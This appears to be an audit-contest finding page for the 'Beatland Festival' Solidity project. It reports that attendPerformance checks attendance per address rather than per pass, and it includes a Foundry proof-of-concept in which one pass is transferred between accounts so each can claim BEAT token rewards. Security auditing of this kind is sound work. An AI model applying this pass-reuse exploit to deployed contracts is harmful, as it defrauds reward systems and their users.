Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of per pass attendance restriction allows multiple users to exploit a single pass

Lack of per pass attendance restriction allows multiple users to exploit a single pass

Description

  • For every performance, each user has to attend using one pass

  • The FestivalPass::attendPerformance function does not enforce a per pass attendance restriction. This enables different users to attend the same performance multiple times using a single pass by transferring the pass between accounts.

@> function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

Risk

Likelihood:

  • This will occur when one user attends a performance using a pass, then transfers that pass to another account, this account also attends the performance using the smae pass

Impact:

  • A single pass can be reused by multiple users to attend the same performance, allowing all of them to earn BEAT tokens fraudulently

Proof of Concept

The test below demonstrates how a single pass is transferred across multiple users, allowing all of them to attend the same performance and earn BEAT tokens

// AttendPerformance contract
import {FestivalPass} from "src/FestivalPass.sol";
import {ERC1155Holder} from "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import {One} from "test/Helpers/One.sol";
contract AttendPerformance is ERC1155Holder {
FestivalPass festivalPass;
One one;
uint256 public perfId;
address userOne;
address userTwo;
constructor(FestivalPass _festivalPass, address _userOne, address _userTwo, uint256 _perfId) {
festivalPass = _festivalPass;
perfId = _perfId;
userOne = _userOne;
userTwo = _userTwo;
}
function attack() external {
festivalPass.attendPerformance(perfId);
festivalPass.safeTransferFrom(address(this), userOne, 3, 1, "");
}
}
// Test
function test_attend_performance_using_one_pass() public {
address userOne = makeAddr("userOne");
address userTwo = makeAddr("userTwo");
// Organizer creates performance
vm.prank(organizer);
uint256 startTime = block.timestamp + 1 hours;
uint256 perfId = festivalPass.createPerformance(startTime, 2 hours, 250e18);
// Warp to performance time
vm.warp(startTime + 1 hours);
// Deploy contracts to game pass multiplier
AttendPerformance attend = new AttendPerformance(festivalPass, userOne, userTwo, perfId);
vm.deal(address(attend), 1 ether); // Deal some ether
// Attend contract buys BACKSTAGE pass and attends
vm.prank(address(attend));
festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);
attend.attack();
// User one attends performance, approves pass and transfers it to userTwo
vm.startPrank(userOne);
festivalPass.attendPerformance(perfId);
festivalPass.setApprovalForAll(userTwo, true);
(bool ok) = festivalPass.isApprovedForAll(userOne, userTwo);
festivalPass.safeTransferFrom(userOne, userTwo, 3, 1, "");
vm.stopPrank();
// User two attends
vm.prank(userTwo);
festivalPass.attendPerformance(perfId);
// All addresses have BEAT tokens
assertEq(beatToken.balanceOf(address(attend)), 765e18); // 15e18 + (250e18 * 3)
assertEq(beatToken.balanceOf(userOne), 750e18); // (250e18 * 3)
assertEq(beatToken.balanceOf(userTwo), 750e18); // (250e18 * 3)
}

Recommended Mitigation

Escrowing the pass and returning it after the performance, use Chainlink Automation for returning the pass

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!